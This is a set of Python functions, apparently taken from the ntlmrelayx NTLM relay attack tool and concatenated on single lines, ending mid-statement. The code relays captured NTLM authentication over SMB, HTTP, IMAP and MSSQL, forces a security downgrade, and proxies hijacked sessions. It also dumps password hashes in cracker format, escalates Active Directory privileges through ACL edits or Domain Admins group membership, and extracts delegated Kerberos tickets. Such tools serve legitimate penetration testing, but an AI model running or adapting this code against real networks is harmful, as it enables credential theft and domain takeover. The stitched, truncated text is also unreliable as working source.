self.clientConnection.getSMBServer()._Session['TreeConnectTable'][packet['TreeID']]['EncryptData'] = False if packet['Command'] == SMB2_LOGOFF: # We do NOT want to get logged off do we? LOG.debug('SOCKS: Avoiding logoff for %s@%s:%s' % (self.username, self.targetHost, self.targetPort)) data = self.getLogOffAnswer(packet) else: # 2. Send it to the relayed session self.clientConnection.getSMBServer().sendSMB(packet) # 3. Get the target's answer packet = self.clientConnection.getSMBServer().recvSMB() if len(str(packet)) == 0: break else: packet['MessageID'] = origID data = str(packet) # 4. Send it back to the client self.__NBSession.send_packet(str(data))
def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): connData = smbServer.getConnectionData(connId, checkStatus=False) if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor( singleTarget='SMB://%s:445/' % connData['ClientIP']) self.target = self.targetprocessor.getTarget() LOG.info( "SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], self.target.scheme, self.target.netloc)) try: if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") extSec = False #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True # Init the correct client for our target client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) self.targetprocessor.logTarget(self.target) else: connData['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() smbServer.setConnectionData(connId, connData) respPacket = smb3.SMB2Packet() respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR respPacket['Status'] = STATUS_SUCCESS respPacket['CreditRequestResponse'] = 1 respPacket['Command'] = smb3.SMB2_NEGOTIATE respPacket['SessionID'] = 0 if isSMB1 is False: respPacket['MessageID'] = recvPacket['MessageID'] else: respPacket['MessageID'] = 0 respPacket['TreeID'] = 0 respSMBCommand = smb3.SMB2Negotiate_Response() # Just for the Nego Packet, then disable it respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED if isSMB1 is True: # Let's first parse the packet to see if the client supports SMB2 SMBCommand = smb.SMBCommand(recvPacket['Data'][0]) dialects = SMBCommand['Data'].split(b'\x02') if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects: respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 else: # Client does not support SMB2 fallbacking raise Exception('SMB2 not supported, fallbacking') else: respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 respSMBCommand['ServerGuid'] = b(''.join( [random.choice(string.ascii_letters) for _ in range(16)])) respSMBCommand['Capabilities'] = 0 respSMBCommand['MaxTransactSize'] = 65536 respSMBCommand['MaxReadSize'] = 65536 respSMBCommand['MaxWriteSize'] = 65536 respSMBCommand['SystemTime'] = getFileTime( calendar.timegm(time.gmtime())) respSMBCommand['ServerStartTime'] = getFileTime( calendar.timegm(time.gmtime())) respSMBCommand['SecurityBufferOffset'] = 0x80 blob = SPNEGO_NegTokenInit() blob['MechTypes'] = [ TypesMech[ 'NEGOEX - SPNEGO Extended Negotiation Security Mechanism'], TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] ] respSMBCommand['Buffer'] = blob.getData() respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer']) respPacket['Data'] = respSMBCommand smbServer.setConnectionData(connId, connData) return None, [respPacket], STATUS_SUCCESS
def readHeader(self): LOG.debug("Reading Boot Sector for %s" % self.__volumeName)
def skipAuthentication(self): # See if the user provided authentication data = self.socksSocket.recv(self.packetSize) # Get headers from data headerDict = self.getHeaders(data) try: creds = headerDict['authorization'] if 'Basic' not in creds: raise KeyError() basicAuth = base64.b64decode(creds[6:]) self.username = basicAuth.split(':')[0].upper() if '@' in self.username: # Workaround for clients which specify users with the full FQDN # such as ruler user, domain = self.username.split('@', 1) # Currently we only use the first part of the FQDN # this might break stuff on tools that do use an FQDN # where the domain NETBIOS name is not equal to the part # before the first . self.username = '******' % (domain.split('.')[0], user) # Check if we have a connection for the user if self.activeRelays.has_key(self.username): # Check the connection is not inUse if self.activeRelays[self.username]['inUse'] is True: LOG.error( 'HTTP: Connection for %s@%s(%s) is being used at the moment!' % (self.username, self.targetHost, self.targetPort)) return False else: LOG.info('HTTP: Proxying client session for %s@%s(%s)' % (self.username, self.targetHost, self.targetPort)) self.session = self.activeRelays[ self.username]['protocolClient'].session else: LOG.error('HTTP: No session for %s@%s(%s) available' % (self.username, self.targetHost, self.targetPort)) return False except KeyError: # User didn't provide authentication yet, prompt for it LOG.debug( 'No authentication provided, prompting for basic authentication' ) reply = [ 'HTTP/1.1 401 Unauthorized', 'WWW-Authenticate: Basic realm="ntlmrelayx - provide a DOMAIN/username"', 'Connection: close', '', '' ] self.socksSocket.send(EOL.join(reply)) return False # When we are here, we have a session # Point our socket to the sock attribute of HTTPConnection # (contained in the session), which contains the socket self.relaySocket = self.session.sock # Send the initial request to the server tosend = self.prepareRequest(data) self.relaySocket.send(tosend) # Send the response back to the client self.transferResponse() return True
def skipAuthentication(self): self.socksSocket.sendall( '* OK The Microsoft Exchange IMAP4 service is ready.' + EOL) # Next should be the client requesting CAPABILITIES tag, cmd = self.recvPacketClient() if cmd.upper() == 'CAPABILITY': clientcapabilities = list(self.getServerCapabilities()) # Don't offer these AUTH options so the client won't use them blacklist = ['AUTH=GSSAPI', 'AUTH=NTLM', 'LOGINDISABLED'] for cap in blacklist: if cap in clientcapabilities: clientcapabilities.remove(cap) # Offer PLAIN auth for specifying the username if 'AUTH=PLAIN' not in clientcapabilities: clientcapabilities.append('AUTH=PLAIN') # Offer LOGIN for specifying the username if 'LOGIN' not in clientcapabilities: clientcapabilities.append('LOGIN') LOG.debug('IMAP: Sending mirrored capabilities from server: %s' % ' '.join(clientcapabilities)) self.socksSocket.sendall( '* CAPABILITY %s%s%s OK CAPABILITY completed.%s' % (' '.join(clientcapabilities), EOL, tag, EOL)) else: LOG.error( 'IMAP: Socks plugin expected CAPABILITY command, but got: %s' % cmd) return False # next tag, cmd = self.recvPacketClient() args = cmd.split(' ') if cmd.upper() == 'AUTHENTICATE PLAIN': # Send continuation command self.socksSocket.sendall('+' + EOL) # Client will now send their AUTH data = self.socksSocket.recv(self.packetSize) # This contains base64(\x00username\x00password), decode and split creds = base64.b64decode(data.strip()) self.username = creds.split('\x00')[1].upper() elif args[0].upper() == 'LOGIN': # Simple login self.username = args[1].upper() else: LOG.error( 'IMAP: Socks plugin expected LOGIN or AUTHENTICATE PLAIN command, but got: %s' % cmd) return False # Check if we have a connection for the user if self.activeRelays.has_key(self.username): # Check the connection is not inUse if self.activeRelays[self.username]['inUse'] is True: LOG.error( 'IMAP: Connection for %s@%s(%s) is being used at the moment!' % (self.username, self.targetHost, self.targetPort)) return False else: LOG.info('IMAP: Proxying client session for %s@%s(%s)' % (self.username, self.targetHost, self.targetPort)) self.session = self.activeRelays[ self.username]['protocolClient'].session else: LOG.error('IMAP: No session for %s@%s(%s) available' % (self.username, self.targetHost, self.targetPort)) return False # We arrived here, that means all is OK self.socksSocket.sendall('%s OK %s completed.%s' % (tag, args[0].upper(), EOL)) self.relaySocket = self.session.sock self.relaySocketFile = self.session.file return True
def do_GET(self): messageType = 0 if self.server.config.mode == 'REDIRECT': self.do_SMBREDIRECT() return LOG.info('HTTPD: Client requested path: %s' % self.path.lower()) # Serve WPAD if: # - The client requests it # - A WPAD host was provided in the command line options # - The client has not exceeded the wpad_auth_num threshold yet if self.path.lower() == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad(self.client_address[0]): LOG.info('HTTPD: Serving PAC file to client %s' % self.client_address[0]) self.serve_wpad() return # Determine if the user is connecting to our server directly or attempts to use it as a proxy if self.command == 'CONNECT' or (len(self.path) > 4 and self.path[:4].lower() == 'http'): proxy = True else: proxy = False if PY2: proxyAuthHeader = self.headers.getheader('Proxy-Authorization') autorizationHeader = self.headers.getheader('Authorization') else: proxyAuthHeader = self.headers.get('Proxy-Authorization') autorizationHeader = self.headers.get('Authorization') if (proxy and proxyAuthHeader is None) or (not proxy and autorizationHeader is None): self.do_AUTHHEAD(message = b'NTLM',proxy=proxy) pass else: if proxy: typeX = proxyAuthHeader else: typeX = autorizationHeader try: _, blob = typeX.split('NTLM') token = base64.b64decode(blob.strip()) except Exception: LOG.debug("Exception:", exc_info=True) self.do_AUTHHEAD(message = b'NTLM', proxy=proxy) else: messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] if messageType == 1: if not self.do_ntlm_negotiate(token, proxy=proxy): #Connection failed LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target', self.target.scheme, self.target.netloc) self.server.config.target.logTarget(self.target) self.do_REDIRECT() elif messageType == 3: authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if not self.do_ntlm_auth(token,authenticateMessage): if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % ( self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) else: LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % ( self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'), authenticateMessage['user_name'].decode('ascii'))) # Only skip to next if the login actually failed, not if it was just anonymous login or a system account # which we don't want if authenticateMessage['user_name'] != '': # and authenticateMessage['user_name'][-1] != '$': self.server.config.target.logTarget(self.target) # No anonymous login, go to next host and avoid triggering a popup self.do_REDIRECT() else: #If it was an anonymous login, send 401 self.do_AUTHHEAD(b'NTLM', proxy=proxy) else: # Relay worked, do whatever we want here... if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) else: LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'), authenticateMessage['user_name'].decode('ascii'))) ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.config.outputFile is not None: writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile) self.server.config.target.logTarget(self.target, True, self.authUser) self.do_attack() # Serve image and return 200 if --serve-image option has been set by user if (self.server.config.serve_image): self.serve_image() return # And answer 404 not found self.send_response(404) self.send_header('WWW-Authenticate', 'NTLM') self.send_header('Content-type', 'text/html') self.send_header('Content-Length','0') self.send_header('Connection','close') self.end_headers() return
def validatePrivileges(self, uname, domainDumper): # Find the user's DN membersids = [] sidmapping = {} privs = { 'create': False, # Whether we can create users 'createIn': None, # Where we can create users 'escalateViaGroup': False, # Whether we can escalate via a group 'escalateGroup': None, # The group we can escalate via 'aclEscalate': False, # Whether we can escalate via ACL on the domain object 'aclEscalateIn': None # The object which ACL we can edit } self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(uname), attributes=['objectSid', 'primaryGroupId']) user = self.client.entries[0] usersid = user['objectSid'].value sidmapping[usersid] = user.entry_dn membersids.append(usersid) # The groups the user is a member of self.client.search(domainDumper.root, '(member:1.2.840.113556.1.4.1941:=%s)' % escape_filter_chars(user.entry_dn), attributes=['name', 'objectSid']) LOG.debug('User is a member of: %s' % self.client.entries) for entry in self.client.entries: sidmapping[entry['objectSid'].value] = entry.entry_dn membersids.append(entry['objectSid'].value) # Also search by primarygroupid # First get domain SID self.client.search(domainDumper.root, '(objectClass=domain)', attributes=['objectSid']) domainsid = self.client.entries[0]['objectSid'].value gid = user['primaryGroupId'].value # Now search for this group by SID self.client.search( domainDumper.root, '(objectSid=%s-%d)' % (domainsid, gid), attributes=['name', 'objectSid', 'distinguishedName']) group = self.client.entries[0] LOG.debug('User is a member of: %s' % self.client.entries) # Add the group sid of the primary group to the list sidmapping[group['objectSid'].value] = group.entry_dn membersids.append(group['objectSid'].value) controls = security_descriptor_control( sdflags=0x05) # Query Owner and Dacl # Now we have all the SIDs applicable to this user, now enumerate the privileges of domains and OUs entries = self.client.extend.standard.paged_search( domainDumper.root, '(|(objectClass=domain)(objectClass=organizationalUnit))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True) self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper) # Also get the privileges on the default Users container entries = self.client.extend.standard.paged_search( domainDumper.root, '(&(cn=Users)(objectClass=container))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True) self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper) # Interesting groups we'd like to be a member of, in order of preference interestingGroups = [ '%s-%d' % (domainsid, 519), # Enterprise admins '%s-%d' % (domainsid, 512), # Domain admins 'S-1-5-32-544', # Built-in Administrators 'S-1-5-32-551', # Backup operators 'S-1-5-32-548', # Account operators ] privs['escalateViaGroup'] = False for group in interestingGroups: self.client.search( domainDumper.root, '(objectSid=%s)' % group, attributes=['nTSecurityDescriptor', 'objectClass']) groupdata = self.client.response self.checkSecurityDescriptors(groupdata, privs, membersids, sidmapping, domainDumper) if privs['escalateViaGroup']: # We have a result - exit the loop break return (usersid, privs)
def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) authenticateMessage = connData['AUTHENTICATE_MESSAGE'] self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'), authenticateMessage['user_name'].decode ('utf-16le'))).upper () # Uncommenting this will stop at the first connection relayed and won't relaying until all targets # are processed. There might be a use case for this #if 'relayToHost' in connData: # # Connection already relayed, let's just answer the request (that will return object not found) # return self.smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket) try: if self.config.mode.upper () == 'REFLECTION': self.targetprocessor = TargetsProcessor (singleTarget='SMB://%s:445/' % connData['ClientIP']) self.target = self.targetprocessor.getTarget(identity = self.authUser) if self.target is None: # No more targets to process, just let the victim to fail later LOG.info('SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' % (connId, self.authUser, connData['ClientIP'])) return self.origsmbComTreeConnectAndX (connId, smbServer, recvPacket) LOG.info('SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % ( connId, self.authUser, connData['ClientIP'], self.target.scheme, self.target.netloc)) if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") extSec = False recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True # Init the correct client for our target client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) self.targetprocessor.logTarget(self.target) else: connData['relayToHost'] = True connData['Authenticated'] = False del (connData['NEGOTIATE_MESSAGE']) del (connData['CHALLENGE_MESSAGE']) del (connData['AUTHENTICATE_MESSAGE']) connData['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() smbServer.setConnectionData(connId, connData) resp = smb.NewSMBPacket() resp['Flags1'] = smb.SMB.FLAGS1_REPLY resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \ recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE resp['Tid'] = recvPacket['Tid'] resp['Mid'] = recvPacket['Mid'] resp['Pid'] = connData['Pid'] respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX) respParameters = smb.SMBTreeConnectAndXResponse_Parameters() respData = smb.SMBTreeConnectAndXResponse_Data() treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters']) if treeConnectAndXParameters['Flags'] & 0x8: respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters() treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] ) treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength'] treeConnectAndXData.fromString(SMBCommand['Data']) ## Process here the request, does the share exist? UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path']) # Is this a UNC? if ntpath.ismount(UNCOrShare): path = UNCOrShare.split('\\')[3] else: path = ntpath.basename(UNCOrShare) # This is the key, force the client to reconnect. # It will loop until all targets are processed for this user errorCode = STATUS_NETWORK_SESSION_EXPIRED resp['ErrorCode'] = errorCode >> 16 resp['_reserved'] = 0o3 resp['ErrorClass'] = errorCode & 0xff if path == 'IPC$': respData['Service'] = 'IPC' else: respData['Service'] = path respData['PadLen'] = 0 respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS' ) respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData resp['Uid'] = connData['Uid'] resp.addCommand(respSMBCommand) smbServer.setConnectionData(connId, connData) return None, [resp], errorCode
def run(self): #self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)') #print self.client.entries global dumpedDomain # Set up a default config domainDumpConfig = ldapdomaindump.domainDumpConfig() # Change the output directory to configured rootdir domainDumpConfig.basepath = self.config.lootdir # Create new dumper object domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig) LOG.info( 'Enumerating relayed user\'s privileges. This may take a while on large domains' ) userSid, privs = self.validatePrivileges(self.username, domainDumper) if privs['create']: LOG.info('User privileges found: Create user') if privs['escalateViaGroup']: name = privs['escalateGroup'].split(',')[0][3:] LOG.info( 'User privileges found: Adding user to a privileged group (%s)' % name) if privs['aclEscalate']: LOG.info('User privileges found: Modifying domain ACL') # We prefer ACL escalation since it is more quiet if self.config.aclattack and privs['aclEscalate']: LOG.debug('Performing ACL attack') if self.config.escalateuser: # We can escalate an existing user result = self.getUserInfo(domainDumper, self.config.escalateuser) # Unless that account does not exist of course if not result: LOG.error( 'Unable to escalate without a valid user, aborting.') return userDn, userSid = result # Perform the ACL attack self.aclAttack(userDn, domainDumper) return elif privs['create']: # Create a nice shiny new user for the escalation userDn = self.addUser(privs['createIn'], domainDumper) if not userDn: LOG.error( 'Unable to escalate without a valid user, aborting.') return # Perform the ACL attack self.aclAttack(userDn, domainDumper) return else: LOG.error('Cannot perform ACL escalation because we do not have create user '\ 'privileges. Specify a user to assign privileges to with --escalate-user') # If we can't ACL escalate, try adding us to a privileged group if self.config.addda and privs['escalateViaGroup']: LOG.debug('Performing Group attack') if self.config.escalateuser: # We can escalate an existing user result = self.getUserInfo(domainDumper, self.config.escalateuser) # Unless that account does not exist of course if not result: LOG.error( 'Unable to escalate without a valid user, aborting.') return userDn, userSid = result # Perform the Group attack self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) return elif privs['create']: # Create a nice shiny new user for the escalation userDn = self.addUser(privs['createIn'], domainDumper) if not userDn: LOG.error( 'Unable to escalate without a valid user, aborting.') return # Perform the Group attack self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) return else: LOG.error('Cannot perform ACL escalation because we do not have create user '\ 'privileges. Specify a user to assign privileges to with --escalate-user') # Last attack, dump the domain if no special privileges are present if not dumpedDomain and self.config.dumpdomain: # Do this before the dump is complete because of the time this can take dumpedDomain = True LOG.info('Dumping domain info for first time') domainDumper.domainDump() LOG.info('Domain info dumped into lootdir!')
def skipAuthentication(self): # 1. First packet should be a TDS_PRELOGIN() tds = self.recvTDS() if tds['Type'] != TDS_PRE_LOGIN: # Unexpected packet LOG.debug('Unexpected packet type %d instead of TDS_PRE_LOGIN' % tds['Type']) return False prelogin = TDS_PRELOGIN() prelogin['Version'] = b"\x08\x00\x01\x55\x00\x00" prelogin['Encryption'] = TDS_ENCRYPT_NOT_SUP prelogin['ThreadID'] = struct.pack('<L',random.randint(0,65535)) prelogin['Instance'] = b'\x00' # Answering who we are self.sendTDS(TDS_TABULAR, prelogin.getData(), 0) # 2. Packet should be a TDS_LOGIN tds = self.recvTDS() if tds['Type'] != TDS_LOGIN7: # Unexpected packet LOG.debug('Unexpected packet type %d instead of TDS_LOGIN' % tds['Type']) return False login = TDS_LOGIN() login.fromString(tds['Data']) if login['OptionFlags2'] & TDS_INTEGRATED_SECURITY_ON: # Windows Authentication enabled # Send the resp we've got from the original relay TDSResponse = self.sessionData['NTLM_CHALLENGE'] self.sendTDS(TDSResponse['Type'], TDSResponse['Data'], 0) # Here we should get the NTLM_AUTHENTICATE tds = self.recvTDS() authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(tds['Data']) self.username = authenticateMessage['user_name'] try: self.username = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))).upper() except UnicodeDecodeError: # Not Unicode encoded? self.username = ('%s/%s' % (authenticateMessage['domain_name'], authenticateMessage['user_name'])).upper() else: if login['UserName'].find('/') >=0: try: self.username = login['UserName'].upper().decode('utf-16le') except UnicodeDecodeError: # Not Unicode encoded? self.username = login['UserName'].upper() else: try: self.username = ('/%s' % login['UserName'].decode('utf-16le')).upper() except UnicodeDecodeError: # Not Unicode encoded? self.username = ('/%s' % login['UserName']).upper() # Check if we have a connection for the user if self.username in self.activeRelays: # Check the connection is not inUse if self.activeRelays[self.username]['inUse'] is True: LOG.error('MSSQL: Connection for %s@%s(%s) is being used at the moment!' % ( self.username, self.targetHost, self.targetPort)) return False else: LOG.info('MSSQL: Proxying client session for %s@%s(%s)' % ( self.username, self.targetHost, self.targetPort)) self.session = self.activeRelays[self.username]['protocolClient'].session else: LOG.error('MSSQL: No session for %s@%s(%s) available' % ( self.username, self.targetHost, self.targetPort)) return False # We have a session relayed, let's answer back with the data if login['OptionFlags2'] & TDS_INTEGRATED_SECURITY_ON: TDSResponse = self.sessionData['AUTH_ANSWER'] self.sendTDS(TDSResponse['Type'], TDSResponse['Data'], 0) else: TDSResponse = self.sessionData['AUTH_ANSWER'] self.sendTDS(TDSResponse['Type'], TDSResponse['Data'], 0) return True
def get_kerberos_loot(token, options): from pyasn1 import debug # debug.setLogger(debug.Debug('all')) # Do we have a Krb ticket? blob = decoder.decode(token, asn1Spec=GSSAPIHeader_SPNEGO_Init())[0] # print str(blob) data = blob['innerContextToken']['negTokenInit']['mechToken'] try: payload = decoder.decode(data, asn1Spec=GSSAPIHeader_KRB5_AP_REQ())[0] except PyAsn1Error: raise Exception('Error obtaining Kerberos data') # print payload # It is an AP_REQ decodedTGS = payload['apReq'] # print decodedTGS # Get ticket data cipherText = decodedTGS['ticket']['enc-part']['cipher'] # Key Usage 2 # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or # application session key), encrypted with the service key # (section 5.4.2) newCipher = _enctype_table[int(decodedTGS['ticket']['enc-part']['etype'])] # Create decryption keys from specified Kerberos keys if options.hashes is not None: nthash = options.hashes.split(':')[1] else: nthash = '' aesKey = options.aeskey or '' allciphers = [ int(constants.EncryptionTypes.rc4_hmac.value), int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value) ] # Store Kerberos keys # TODO: get the salt from preauth info (requires us to send AS_REQs to the DC) keys = {} if nthash != '': keys[int(constants.EncryptionTypes.rc4_hmac.value)] = unhexlify(nthash) if aesKey != '': if len(aesKey) == 64: keys[int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value)] = unhexlify(aesKey) else: keys[int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value)] = unhexlify(aesKey) ekeys = {} for kt, key in keys.items(): ekeys[kt] = Key(kt, key) # Calculate Kerberos keys from specified password/salt if options.password and options.salt: for cipher in allciphers: if cipher == 23 and options.israwpassword: # RC4 calculation is done manually for raw passwords md4 = MD4.new() md4.update(options.password) ekeys[cipher] = Key(cipher, md4.digest()) else: # Do conversion magic for raw passwords if options.israwpassword: rawsecret = options.password.decode('utf-16-le', 'replace').encode('utf-8', 'replace') else: # If not raw, it was specified from the command line, assume it's not UTF-16 rawsecret = options.password ekeys[cipher] = string_to_key(cipher, rawsecret, options.salt) LOG.debug('Calculated type %d Kerberos key: %s', cipher, hexlify(ekeys[cipher].contents)) # Select the correct encryption key try: key = ekeys[decodedTGS['ticket']['enc-part']['etype']] # This raises a KeyError (pun intended) if our key is not found except KeyError: LOG.error('Could not find the correct encryption key! Ticket is encrypted with keytype %d, but keytype(s) %s were supplied', decodedTGS['ticket']['enc-part']['etype'], ', '.join([str(enctype) for enctype in ekeys.keys()])) return None # Recover plaintext info from ticket try: plainText = newCipher.decrypt(key, 2, cipherText) except InvalidChecksum: LOG.error('Ciphertext integrity failed. Most likely the account password or AES key is incorrect') if options.salt: LOG.info('You specified a salt manually. Make sure it has the correct case.') return LOG.debug('Ticket decrypt OK') encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] sessionKey = Key(encTicketPart['key']['keytype'], bytes(encTicketPart['key']['keyvalue'])) # Key Usage 11 # AP-REQ Authenticator (includes application authenticator # subkey), encrypted with the application session key # (Section 5.5.1) # print encTicketPart flags = encTicketPart['flags'].asBinary() # print flags # for flag in TicketFlags: # if flags[flag.value] == '1': # print flag # print flags[TicketFlags.ok_as_delegate.value] cipherText = decodedTGS['authenticator']['cipher'] newCipher = _enctype_table[int(decodedTGS['authenticator']['etype'])] # Recover plaintext info from authenticator plainText = newCipher.decrypt(sessionKey, 11, cipherText) authenticator = decoder.decode(plainText, asn1Spec=Authenticator())[0] # print authenticator # The checksum may contain the delegated ticket cksum = authenticator['cksum'] if cksum['cksumtype'] != 32771: raise Exception('Checksum is not KRB5 type: %d' % cksum['cksumtype']) # Checksum as in 4.1.1 [RFC4121] # Fields: # 0-3 Length of channel binding info (fixed at 16) # 4-19 channel binding info # 20-23 flags # 24-25 delegation option identifier # 26-27 length of deleg field # 28..(n-1) KRB_CRED message if deleg is used (n = length of deleg + 28) # n..last extensions flags = struct.unpack('<L', bytes(cksum['checksum'])[20:24])[0] # print flags if not flags & GSS_C_DELEG_FLAG: LOG.error('Delegate info not set, cannot extract ticket!') LOG.error('Make sure the account you use has unconstrained delegation rights') return dlen = struct.unpack('<H', bytes(cksum['checksum'])[26:28])[0] deldata = bytes(cksum['checksum'])[28:28+dlen] creds = decoder.decode(deldata, asn1Spec=KRB_CRED())[0] # print creds subkey = Key(authenticator['subkey']['keytype'], bytes(authenticator['subkey']['keyvalue'])) newCipher = _enctype_table[int(creds['enc-part']['etype'])] plainText = newCipher.decrypt(sessionKey, 14, bytes(creds['enc-part']['cipher'])) # print plainText # Now we got the EncKrbCredPart enc_part = decoder.decode(plainText, asn1Spec=EncKrbCredPart())[0] # print enc_part for i, tinfo in enumerate(enc_part['ticket-info']): # This is what we are after :) # uname = Principal(ticket['pname']['name-string'][0]) username = '******'.join([str(item) for item in tinfo['pname']['name-string']]) realm = str(tinfo['prealm']) fullname = '%s@%s' % (username, realm) sname = Principal([str(item) for item in tinfo['sname']['name-string']]) LOG.info('Got ticket for %s [%s]', fullname, sname) ticket = creds['tickets'][i] filename = '%s_%s' % (fullname, sname) saveformat = options.format LOG.info('Saving ticket in %s.%s', filename, saveformat) ccache = KrbCredCCache() ccache.fromKrbCredTicket(ticket, tinfo) if saveformat == 'ccache': ccache.saveFile(filename + '.ccache') else: # Save as Kirbi oc = KRB_CRED() oc['tickets'].append(ticket) oc['enc-part']['etype'] = 0 new_enc_part = EncKrbCredPart() new_enc_part['ticket-info'].append(tinfo) oc['enc-part']['cipher'] = encoder.encode(new_enc_part) ocdata = encoder.encode(oc) with open(filename + '.kirbi', 'wb') as outfile: outfile.write(ocdata) data = { 'username': username, 'domain': realm, # We take it from the ccache since this already has a helper function to get # it in the right format. 'tgt': ccache.credentials[0].toTGT() } return data
def processSessionSetup(self, recvPacket): if self.isSMB2 is False: respSMBCommand = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) smbCommand = SMBCommand(recvPacket['Data'][0]) if smbCommand['WordCount'] == 12: respParameters = SMBSessionSetupAndX_Extended_Response_Parameters() respData = SMBSessionSetupAndX_Extended_Response_Data() # First of all, we should received a type 1 message. Let's answer it # NEGOTIATE_MESSAGE challengeMessage = self.sessionData['CHALLENGE_MESSAGE'] challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SIGN) respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = '\x01' respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = str(challengeMessage) respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() respData['NativeOS'] = '' respData['NativeLanMan'] = '' respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData resp = NewSMBPacket() resp['Flags1'] = SMB.FLAGS1_REPLY resp['Flags2'] = SMB.FLAGS2_NT_STATUS resp['Pid'] = recvPacket['Pid'] resp['Tid'] = recvPacket['Tid'] resp['Mid'] = recvPacket['Mid'] resp['Uid'] = 0 errorCode = STATUS_MORE_PROCESSING_REQUIRED resp['ErrorCode'] = errorCode >> 16 resp['ErrorClass'] = errorCode & 0xff resp.addCommand(respSMBCommand) self.__NBSession.send_packet(resp.getData()) recvPacket, smbCommand = self.getSMBPacket() sessionSetupParameters = 